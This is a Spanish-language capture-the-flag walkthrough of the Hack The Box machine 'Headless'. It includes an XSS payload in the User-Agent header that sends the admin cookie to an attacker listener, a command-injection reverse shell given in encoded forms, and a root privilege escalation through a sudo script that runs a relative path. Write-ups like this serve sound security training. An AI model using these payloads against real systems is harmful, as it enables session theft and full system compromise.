Descripción

Headless es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Cross Site Scripting (XSS) en un campo User-Agent para robar unas cookies
  • Inyección de comandos en un formulario
  • Escalada de privilegios a través de un script vulnerable ejecutado con el comando SUDO

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.208.

$ ping -c 3 10.129.248.249
PING 10.129.248.249 (10.129.248.249) 56(84) bytes of data.
64 bytes from 10.129.248.249: icmp_seq=1 ttl=63 time=48.2 ms
64 bytes from 10.129.248.249: icmp_seq=2 ttl=63 time=48.7 ms
64 bytes from 10.129.248.249: icmp_seq=3 ttl=63 time=48.4 ms

--- 10.129.248.249 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 48.160/48.421/48.714/0.227 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.248.249 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.248.249
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds

Obtenemos dos puertos abiertos, 22 y 5000.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.248.249 -sV -sC -p22,5000 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.248.249
Host is up (0.049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 23 Mar 2024 19:02:52 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 135.78 seconds

Conseguimos dos servicios: un Secure Shell (SSH) y un Hypertext Transfer Protocol (HTTP) corriendo en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH nos movemos al servicio HTTP. Observamos que el servicio alberga un sitio web, mostrando una cuenta atrás y un botón que nos lleva a un formulario de soporte. Vemos que el servidor web está usando una aplicación Werkzeug/2.2.2 Python/3.11.2 por lo que podamos intentar atacarla usando la inyección de plantillas del lado del servidor (SSTI). La aplicación detecta el ataque e imprime los encabezados de nuestra solicitud HTTP. Observamos que tenemos una cookie llamada is_admin. La primera parte de la cookie, InVzZXIi , está codificada con Base64 y puede decodificarse como "user" . La última parte de la cookie parece estar cifrada. Si cambiamos el valor de "user" a "admin" en la cookie no obtenemos la autenticación. Así que suponemos que la cookie está firmada usando un algoritmo similar a JWT.

Explotación

Como la aplicación está imprimiendo los encabezados podemos intentar comprobar si la aplicación es vulnerable a un ataque de secuencia de comandos en sitios cruzados (XSS) cambiando el agente de usuario a algo como<script>alert('XSS');</alert>. Para ello podemos utilizar un proxy, como Burp Suite, interceptando la solicitud. Obtenemos la alerta JavaScript, así que confirmamos que la página es vulnerable al ataque XSS. Observamos que con el intento de vulneración se ha generado un informe para el administrador para la investigación. Podemos aprovechar este ataque y robar las cookies del administrador. Podemos inyectar esta carga útil en el encabezado User-Agent.

Carga a inyectar en el encabezado de User-Agent:
<img src=x onerror=this.src="http://10.10.14.23:1111/?c="+document.cookie>

Antes de enviar la solicitud al servidor abrimos el puerto de escucha con la herramienta netcat. Después de unos segundos, recibimos la solicitud del administrador con la cookie is_admin, ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0.

$ nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.248.249] 58402
GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1
Host: 10.10.14.23:1111
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:5000/
Connection: keep-alive

Al hacer algunas enumeraciones, encontramos otro enlace en el servidor, /dashboard.

$ gobuster dir -u http://10.129.248.249:5000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.248.249:5000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/support              (Status: 200) [Size: 2363]
/dashboard            (Status: 500) [Size: 265]

Después de cambiar el valor de la cookie, obtenemos acceso al panel del administrador. Si generamos un informe obtenemos el mensaje Systems are up and running!. Podemos intentar inyectar comandos para lograr la ejecución de mando remoto. Interceptamos la solicitud con el proxy e inyectamos la carga útil ; id codificada en formato URL. La inyección ha funcionado, recibimos al usuario que está ejecutando la aplicación, dvir. Ahora podemos crear una terminal inversa usando esta vulnerabilidad. Codificamos el comando de la terminal inversa usando Base64 y lo codificamos en formato URL.

Carga útil a inyectar:
;bash -i >& /dev/tcp/10.10.14.23/1234 0>&1

Carga útil codificada con Base64:
;echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMy8xMjM0IDA+JjE="|base64 -d|bash

Carga útil codificada en formado URL:
%3becho+"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yMy8xMjM0IDA%2bJjE%3d"|base64+-d|bash

Antes de enviar la solicitud al servidor abrimos el puerto de escucha con la herramienta netcat. Después de unos segundos, recibimos la terminal inversa por lo que la actualizamos.

$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.23] from (UNKNOWN) [10.129.248.249] 40160
bash: cannot set terminal process group (1155): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
dvir@headless:~/app$ stty rows 48 columns 156; export TERM=xterm; export SHELL=bash

Post-Explotación

Aparte del usuario dvir, sólo encontramos a root como usuario de consola.

dvir@headless:~/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash

Encontramos un comando que el usuario dvir puede ejecutar como el usuario root, /usr/bin/syscheck.

dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck
dvir@headless:~/app$ ls -l /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb  2 16:11 /usr/bin/syscheck

Inspeccionando el código fuente del script encontramos que tiene una vulnerabilidad. Comprobamos que está ejecutando un script Bash desde el actual directorio de trabajo, initdb.sh, utilizando su ruta relativa en lugar de la ruta absoluta.

dvir@headless:~/app$ cat /usr/bin/syscheck
#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Así que ahora podemos movernos a un directorio temporal, crear el archivo Bash script y luego obtener una terminal root con una copia del binario bash.

dvir@headless:~/app$ mktemp -d
/tmp/tmp.JzldAkRVbx
dvir@headless:~/app$ cd /tmp/tmp.JzldAkRVbx
dvir@headless:/tmp/tmp.JzldAkRVbx$ cat<<EOF>initdb.sh
#!/bin/bash
cp /bin/bash /tmp/tmp.JzldAkRVbx/bash
chmod u+s /tmp/tmp.JzldAkRVbx/bash

EOF
dvir@headless:/tmp/tmp.JzldAkRVbx$ chmod +x initdb.sh
dvir@headless:/tmp/tmp.JzldAkRVbx$ sudo /usr/bin/syscheck 
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.01, 0.01, 0.03
Database service is not running. Starting it...

dvir@headless:/tmp/tmp.JzldAkRVbx$ ./bash -p
bash-5.2# id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)

Obtenemos una terminal con los permisos de root.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

bash-5.2# cat /home/dvir/user.txt
<REDACTED>
bash-5.2# cat /root/root.txt 
<REDACTED>